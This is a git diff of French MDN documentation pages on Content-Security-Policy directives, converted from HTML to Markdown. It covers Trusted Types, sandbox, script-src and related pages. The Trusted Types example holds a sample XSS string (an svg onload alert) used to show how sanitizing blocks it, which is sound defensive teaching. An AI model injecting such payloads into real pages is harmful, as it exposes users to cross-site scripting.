Une prothèse d'émulation pour les Trusted Types est disponible sur Github.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
Trusted TypesDraftDéfinition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md new file mode 100644 index 0000000000..fea32fdcd9 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md @@ -0,0 +1,88 @@ +--- +title: 'CSP: require-trusted-types-for' +slug: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Security + - Sécurité + - TrustedTypes + - require-trusted-types-for + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) require-trusted-types-for {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur Element.innerHTML.

+ +

Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère. Conjointement à la directive trusted-types, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture.

+ +

Syntaxe

+ +
Content-Security-Policy: require-trusted-types-for 'script';
+
+ +
+
'script'
+
Interdit l'usage de chaine de caractères avec les fonctions du puits d'injection XSS du DOM, et requiert que les types correspondant soient créés par des règles de Trusted Type.
+
+ +

Exemples

+ +
// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types foo;
+
+const attackerInput = '<svg onload="alert(/cross-site-scripting/)" />';
+const el = document.createElement('div');
+
+if (typeof trustedTypes !== 'undefined') {
+  // Create a policy that can create TrustedHTML values
+  // after sanitizing the input strings with DOMPurify library.
+  const sanitizer = trustedTypes.createPolicy('foo', {
+    createHTML: (input) => DOMPurify.sanitize(input)
+  });
+
+  el.innerHTML = sanitizer.createHTML(attackerInput);  // Puts the sanitized value into the DOM.
+  el.innerHTML = attackerInput;                        // Rejects a string value; throws a TypeError.
+}
+
+ +

Prothèse d'émulaiton

+ +

Une prothèse d'émulation pour les Trusted Types est disponible sur Github.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
Trusted TypesDraftDéfinition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/sandbox/index.html b/files/fr/web/http/headers/content-security-policy/sandbox/index.html deleted file mode 100644 index 626398f914..0000000000 --- a/files/fr/web/http/headers/content-security-policy/sandbox/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: 'CSP: sandbox' -slug: Web/HTTP/Headers/Content-Security-Policy/sandbox -tags: - - CSP - - Content-Securityè-Policy - - Directive - - HTTP - - Sandbox - - Security - - Sécurité -translation_of: Web/HTTP/Headers/Content-Security-Policy/sandbox ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) sandbox active un bac à sable (sandbox) pour les ressources demandées similaire à l'attribut {{htmlattrxref("sandbox", "iframe")}} des éléments {{HTMLElement("iframe")}}. Elle applique des restrictions aux actions d'une page, dont le fait d'empêcher les fenêtres intruses (popups) et l'exécution de greffons et de scripts et de créer une contrainte de même origine.

- - - - - - - - - - - - - - - -
Version de CSP1.1 / 2
Type de directive{{Glossary("Document directive")}}
Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}} ou par l'en-tête {{HTTPHeader("Content-Security-policy-Report-Only")}}.
- -

Syntaxe

- -
Content-Security-Policy: sandbox;
-Content-Security-Policy: sandbox <valeur>;
-
- -

Où <valeur> peut optionnellement être une valeur parmi :

- -
-
allow-downloads-without-user-activation {{experimental_inline}}
-
Autorise les téléchargements sans action de l'utilisateur.
-
- -
-
allow-forms
-
Autorise la soumission de de formulaires. Si ce mot-clé n'est pas spécifié, cette opération est interdite.
-
allow-modals
-
Autorise la page à ouvrir des fenêtres modales.
-
allow-orientation-lock
-
Autorise la page à désactiver la possibilité de verrouiller l'orientation de l'écran.
-
allow-pointer-lock
-
Autorise la page à utiliser l'API Pointer Lock.
-
allow-popups
-
Autorise les fenêtres intruses (comme avec window.open, target="_blank", showModalDialog). Si ce mot-clé n'est pas utilisée, cette fonctionnalité échouera en silence.
-
allow-popups-to-escape-sandbox
-
Autorise un document cloisonné dans une bac à sable à ouvrir de nouvelles fenêtres sans les contraindre à appliquer les mêmes règles. Cela permettra, par exemple, à une publicité externe d'être sainement cloisonnée sans imposer les mêmes restrictions sur une page d'accueil.
-
allow-presentation
-
Autorise les pages embarquantes à avoir contrôle sur la possibilité pour l'iframe de démarrer une session de présentation ou non.
-
allow-same-origin
-
Autorise le contenu à être traité comme étant de son origine normale. Si ce mot-clé n'est pas utilisé, les contenu embarqués seront traités comme étant d'une origine unique.
-
allow-scripts
-
Autorise la page à exécuter des scripts (mais non créer des fenêtres intruses). Si ce mot-clé n'est pas utilisée, cette opération n'est pas permise.
-
allow-storage-access-by-user-activation {{experimental_inline}}
-
Laisse les requêtes de ressources accéder à l'espace de stockage du parent avec l'API Storage Access.
-
allow-top-navigation
-
Autorise la page à charger du contenu au niveau supérieur de contexte navigationnel. Si ce mot-clé n'est pas utilisé, cette opération n'est pas permise.
-
allow-top-navigation-by-user-activation
-
Laisse la ressource naviguer jusqu'au niveau supérieur de contexte navigationnel, mais seulement si initié par une aciton de l'utilisateur.
-
- -

Exemples

- -
Content-Security-Policy: sandbox allow-scripts;
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-sandbox", "sandbox")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-sandbox", "sandbox")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.sandbox")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/sandbox/index.md b/files/fr/web/http/headers/content-security-policy/sandbox/index.md new file mode 100644 index 0000000000..626398f914 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/sandbox/index.md @@ -0,0 +1,109 @@ +--- +title: 'CSP: sandbox' +slug: Web/HTTP/Headers/Content-Security-Policy/sandbox +tags: + - CSP + - Content-Securityè-Policy + - Directive + - HTTP + - Sandbox + - Security + - Sécurité +translation_of: Web/HTTP/Headers/Content-Security-Policy/sandbox +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) sandbox active un bac à sable (sandbox) pour les ressources demandées similaire à l'attribut {{htmlattrxref("sandbox", "iframe")}} des éléments {{HTMLElement("iframe")}}. Elle applique des restrictions aux actions d'une page, dont le fait d'empêcher les fenêtres intruses (popups) et l'exécution de greffons et de scripts et de créer une contrainte de même origine.

+ + + + + + + + + + + + + + + +
Version de CSP1.1 / 2
Type de directive{{Glossary("Document directive")}}
Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}} ou par l'en-tête {{HTTPHeader("Content-Security-policy-Report-Only")}}.
+ +

Syntaxe

+ +
Content-Security-Policy: sandbox;
+Content-Security-Policy: sandbox <valeur>;
+
+ +

Où <valeur> peut optionnellement être une valeur parmi :

+ +
+
allow-downloads-without-user-activation {{experimental_inline}}
+
Autorise les téléchargements sans action de l'utilisateur.
+
+ +
+
allow-forms
+
Autorise la soumission de de formulaires. Si ce mot-clé n'est pas spécifié, cette opération est interdite.
+
allow-modals
+
Autorise la page à ouvrir des fenêtres modales.
+
allow-orientation-lock
+
Autorise la page à désactiver la possibilité de verrouiller l'orientation de l'écran.
+
allow-pointer-lock
+
Autorise la page à utiliser l'API Pointer Lock.
+
allow-popups
+
Autorise les fenêtres intruses (comme avec window.open, target="_blank", showModalDialog). Si ce mot-clé n'est pas utilisée, cette fonctionnalité échouera en silence.
+
allow-popups-to-escape-sandbox
+
Autorise un document cloisonné dans une bac à sable à ouvrir de nouvelles fenêtres sans les contraindre à appliquer les mêmes règles. Cela permettra, par exemple, à une publicité externe d'être sainement cloisonnée sans imposer les mêmes restrictions sur une page d'accueil.
+
allow-presentation
+
Autorise les pages embarquantes à avoir contrôle sur la possibilité pour l'iframe de démarrer une session de présentation ou non.
+
allow-same-origin
+
Autorise le contenu à être traité comme étant de son origine normale. Si ce mot-clé n'est pas utilisé, les contenu embarqués seront traités comme étant d'une origine unique.
+
allow-scripts
+
Autorise la page à exécuter des scripts (mais non créer des fenêtres intruses). Si ce mot-clé n'est pas utilisée, cette opération n'est pas permise.
+
allow-storage-access-by-user-activation {{experimental_inline}}
+
Laisse les requêtes de ressources accéder à l'espace de stockage du parent avec l'API Storage Access.
+
allow-top-navigation
+
Autorise la page à charger du contenu au niveau supérieur de contexte navigationnel. Si ce mot-clé n'est pas utilisé, cette opération n'est pas permise.
+
allow-top-navigation-by-user-activation
+
Laisse la ressource naviguer jusqu'au niveau supérieur de contexte navigationnel, mais seulement si initié par une aciton de l'utilisateur.
+
+ +

Exemples

+ +
Content-Security-Policy: sandbox allow-scripts;
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-sandbox", "sandbox")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-sandbox", "sandbox")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.sandbox")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html deleted file mode 100644 index d08a6f4e57..0000000000 --- a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: 'CSP: script-src-attr' -slug: Web/HTTP/Headers/Content-Security-Policy/script-src-attr -tags: - - CSP - - Content - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Script - - Security - - Sécurité - - script-src - - script-src-attr - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-attr ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src-attr spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme onclick, mais non les URL chargées par des éléments {{HTMLElement("script")}}.

- - - - - - - - - - - - - - - - -
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: script-src-attr <source>;
-Content-Security-Policy: script-src-attr <source> <source>;
-
- -

script-src-attr  peut être utilisée conjointement à  {{CSP("script-src")}} :

- -
Content-Security-Policy: script-src <source>;
-Content-Security-Policy: script-src-attr <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

- -

Exemples

- -

Valeur par défaut avec script-src

- -

Si la directive script-src-attr est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-script-src-attr", "script-src-attr")}}{{Spec2("CSP 3.0")}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.script-src-attr")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md new file mode 100644 index 0000000000..d08a6f4e57 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md @@ -0,0 +1,94 @@ +--- +title: 'CSP: script-src-attr' +slug: Web/HTTP/Headers/Content-Security-Policy/script-src-attr +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Script + - Security + - Sécurité + - script-src + - script-src-attr + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-attr +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src-attr spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme onclick, mais non les URL chargées par des éléments {{HTMLElement("script")}}.

+ + + + + + + + + + + + + + + + +
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: script-src-attr <source>;
+Content-Security-Policy: script-src-attr <source> <source>;
+
+ +

script-src-attr  peut être utilisée conjointement à  {{CSP("script-src")}} :

+ +
Content-Security-Policy: script-src <source>;
+Content-Security-Policy: script-src-attr <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+ +

Exemples

+ +

Valeur par défaut avec script-src

+ +

Si la directive script-src-attr est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-script-src-attr", "script-src-attr")}}{{Spec2("CSP 3.0")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.script-src-attr")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html deleted file mode 100644 index 7d29bbef41..0000000000 --- a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: 'CSP: script-src-elem' -slug: Web/HTTP/Headers/Content-Security-Policy/script-src-elem -tags: - - CSP - - Content - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Script - - Security - - Sécurité - - script-src - - script-src-elem - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-elem ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src-elem spécifie les sources valides pour des éléments {{HTMLElement("script")}} JavaScript, mais non pour des scripts embarqués ou des gestionnaire d'évènements par attribut comme onclick.

- - - - - - - - - - - - - - - - -
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: script-src-elem <source>;
-Content-Security-Policy: script-src-elem <source> <source>;
-
- -

script-src-elem peut être utilisée conjointement à {{CSP("script-src")}} :

- -
Content-Security-Policy: script-src <source>;
-Content-Security-Policy: script-src-elem <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

- -

Exemples

- -

Valeur par défaut avec script-src

- -

Si la directive script-src-elem est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}}{{Spec2("CSP 3.0")}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md new file mode 100644 index 0000000000..7d29bbef41 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.md @@ -0,0 +1,96 @@ +--- +title: 'CSP: script-src-elem' +slug: Web/HTTP/Headers/Content-Security-Policy/script-src-elem +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Script + - Security + - Sécurité + - script-src + - script-src-elem + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-elem +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src-elem spécifie les sources valides pour des éléments {{HTMLElement("script")}} JavaScript, mais non pour des scripts embarqués ou des gestionnaire d'évènements par attribut comme onclick.

+ + + + + + + + + + + + + + + + +
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: script-src-elem <source>;
+Content-Security-Policy: script-src-elem <source> <source>;
+
+ +

script-src-elem peut être utilisée conjointement à {{CSP("script-src")}} :

+ +
Content-Security-Policy: script-src <source>;
+Content-Security-Policy: script-src-elem <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+ +

Exemples

+ +

Valeur par défaut avec script-src

+ +

Si la directive script-src-elem est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}}{{Spec2("CSP 3.0")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/script-src/index.html b/files/fr/web/http/headers/content-security-policy/script-src/index.html deleted file mode 100644 index a6b2659ae9..0000000000 --- a/files/fr/web/http/headers/content-security-policy/script-src/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: 'CSP: script-src' -slug: Web/HTTP/Headers/Content-Security-Policy/script-src -tags: - - CSP - - Content - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Script - - Security - - Sécurité - - script-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src spécifie les sources valides pour du code JavaScript. Cela inclut non seulement les URL chargées directement par les éléments {{HTMLElement("script")}}, mais aussi les scripts embarqués, les attributs de gestion d'évènements (onclick) et les feuilles de style XSLT pouvant déclencher l'exécution de scripts.

- - - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: script-src <source>;
-Content-Security-Policy: script-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: script-src https://example.com/
- -

Ces scripts seront bloqués et ne seront pas chargés ou exécutés :

- -
<script src="https://not-example.com/js/library.js"></script>
- -

Notez que les gestionnaires d'évènements par attributs sont aussi bloqués :

- -
<button id="btn" onclick="doSomething()">
- -

Vous devez les remplacer par des appels à la méthode {{domxref("EventTarget.addEventListener", "addEventListener")}} :

- -
document.getElementById("btn").addEventListener('click', doSomething);
- -

Scripts embarqués non fiables

- -
-

Note : Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.

-
- -

Vous pouvez autoriser les scripts embarqués et les gestionnaires d'évènements par attributs en spécifiant la valeur 'unsafe-inline', des nonces ou des hashs correspondant au script.

- -
Content-Security-Policy: script-src 'unsafe-inline';
-
- -

Cette directive CSP autorisera tous les scripts {{HTMLElement("script")}} embarqués :

- -
<script>
-  var inline = 1;
-</script>
- -

Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("script")}} embarqués :

- -
Content-Security-Policy: script-src 'nonce-2726c7f26c'
- -

Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("script")}} :

- -
<script nonce="2726c7f26c">
-  var inline = 1;
-</script>
- -

Autrement, vous pouvez créer des hashs à partir de vos scripts. CSP accepte les algorithmes sha256, sha384 et sha512.

- -
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='
- -

Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).

- -
<script>var inline = 1;</script>
- -

Expressions d'évaluation non fiables

- -

La valeur 'unsafe-eval' contrôle différents méthodes qui créent du code JavaScript à partir de chaines de caractères. Si 'unsafe-eval' n'est pas spécifiée avec la directive script-src, ces méthodes seront bloquées et n'auront aucun effet :

- - - -

strict-dynamic

- -

La valeur 'strict-dynamic' spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute liste de permissions ou expressions de sources telles que 'self' ou 'unsafe-inline' sont ignorées. Par exemple, une règle telle que script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/ autoriserait le chargement de scripts comme <script nonce="R4nd0m" src="https://example.com/loader.js"> et s'appliquerait ensuite à tous les scripts chargés par loader.js, mais interdirait les scripts chargés depuis https://whitelisted.com/ à moins qu'ils soient accompagnés d'un nonce ou chargés depuis un script dont la source est de confiance.

- -
script-src 'strict-dynamic' 'nonce-someNonce'
- -

Ou

- -
script-src 'strict-dynamic' 'sha256-base64EncodedHash'
- -

Il est possible de déployer strict-dynamic de manière rétrocompatible, sans chercher à connaitre l'agent utilisateur. Cette directive :

- -
script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'
- -

fonctionnera comme 'unsafe-inline' https: pour les navigateurs supportant CSP1, https: 'nonce-abcdefg' pour ceux supportant CSP2 et comme 'nonce-abcdefg' 'strict-dynamic' pour ceux supportant CSP3.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-script-src", "script-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-script-src", "script-src")}}{{Spec2('CSP 1.1')}}Initial definition.
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.headers.csp.Content-Security-Policy.script-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/script-src/index.md b/files/fr/web/http/headers/content-security-policy/script-src/index.md new file mode 100644 index 0000000000..a6b2659ae9 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/script-src/index.md @@ -0,0 +1,176 @@ +--- +title: 'CSP: script-src' +slug: Web/HTTP/Headers/Content-Security-Policy/script-src +tags: + - CSP + - Content + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Script + - Security + - Sécurité + - script-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) script-src spécifie les sources valides pour du code JavaScript. Cela inclut non seulement les URL chargées directement par les éléments {{HTMLElement("script")}}, mais aussi les scripts embarqués, les attributs de gestion d'évènements (onclick) et les feuilles de style XSLT pouvant déclencher l'exécution de scripts.

+ + + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: script-src <source>;
+Content-Security-Policy: script-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: script-src https://example.com/
+ +

Ces scripts seront bloqués et ne seront pas chargés ou exécutés :

+ +
<script src="https://not-example.com/js/library.js"></script>
+ +

Notez que les gestionnaires d'évènements par attributs sont aussi bloqués :

+ +
<button id="btn" onclick="doSomething()">
+ +

Vous devez les remplacer par des appels à la méthode {{domxref("EventTarget.addEventListener", "addEventListener")}} :

+ +
document.getElementById("btn").addEventListener('click', doSomething);
+ +

Scripts embarqués non fiables

+ +
+

Note : Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.

+
+ +

Vous pouvez autoriser les scripts embarqués et les gestionnaires d'évènements par attributs en spécifiant la valeur 'unsafe-inline', des nonces ou des hashs correspondant au script.

+ +
Content-Security-Policy: script-src 'unsafe-inline';
+
+ +

Cette directive CSP autorisera tous les scripts {{HTMLElement("script")}} embarqués :

+ +
<script>
+  var inline = 1;
+</script>
+ +

Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("script")}} embarqués :

+ +
Content-Security-Policy: script-src 'nonce-2726c7f26c'
+ +

Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("script")}} :

+ +
<script nonce="2726c7f26c">
+  var inline = 1;
+</script>
+ +

Autrement, vous pouvez créer des hashs à partir de vos scripts. CSP accepte les algorithmes sha256, sha384 et sha512.

+ +
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='
+ +

Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).

+ +
<script>var inline = 1;</script>
+ +

Expressions d'évaluation non fiables

+ +

La valeur 'unsafe-eval' contrôle différents méthodes qui créent du code JavaScript à partir de chaines de caractères. Si 'unsafe-eval' n'est pas spécifiée avec la directive script-src, ces méthodes seront bloquées et n'auront aucun effet :

+ + + +

strict-dynamic

+ +

La valeur 'strict-dynamic' spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute liste de permissions ou expressions de sources telles que 'self' ou 'unsafe-inline' sont ignorées. Par exemple, une règle telle que script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/ autoriserait le chargement de scripts comme <script nonce="R4nd0m" src="https://example.com/loader.js"> et s'appliquerait ensuite à tous les scripts chargés par loader.js, mais interdirait les scripts chargés depuis https://whitelisted.com/ à moins qu'ils soient accompagnés d'un nonce ou chargés depuis un script dont la source est de confiance.

+ +
script-src 'strict-dynamic' 'nonce-someNonce'
+ +

Ou

+ +
script-src 'strict-dynamic' 'sha256-base64EncodedHash'
+ +

Il est possible de déployer strict-dynamic de manière rétrocompatible, sans chercher à connaitre l'agent utilisateur. Cette directive :

+ +
script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'
+ +

fonctionnera comme 'unsafe-inline' https: pour les navigateurs supportant CSP1, https: 'nonce-abcdefg' pour ceux supportant CSP2 et comme 'nonce-abcdefg' 'strict-dynamic' pour ceux supportant CSP3.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-script-src", "script-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-script-src", "script-src")}}{{Spec2('CSP 1.1')}}Initial definition.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http.headers.csp.Content-Security-Policy.script-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html deleted file mode 100644 index efe3b11c9a..0000000000 --- a/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: 'CSP: style-src-attr' -slug: Web/HTTP/Headers/Content-Security-Policy/style-src-attr -tags: - - CSP - - Content - - Content-Security-Policy - - Directive - - HTTP - - Reference - - Security - - Style - - Sécurité - - source - - style-src - - style-src-attr -translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-attr ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) style-src-attr spécifie les sources valides pour des feuilles de styles appliquées à des éléments individuels du DOM par l'attribut style.

- - - - - - - - - - - - - - - - -
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut -

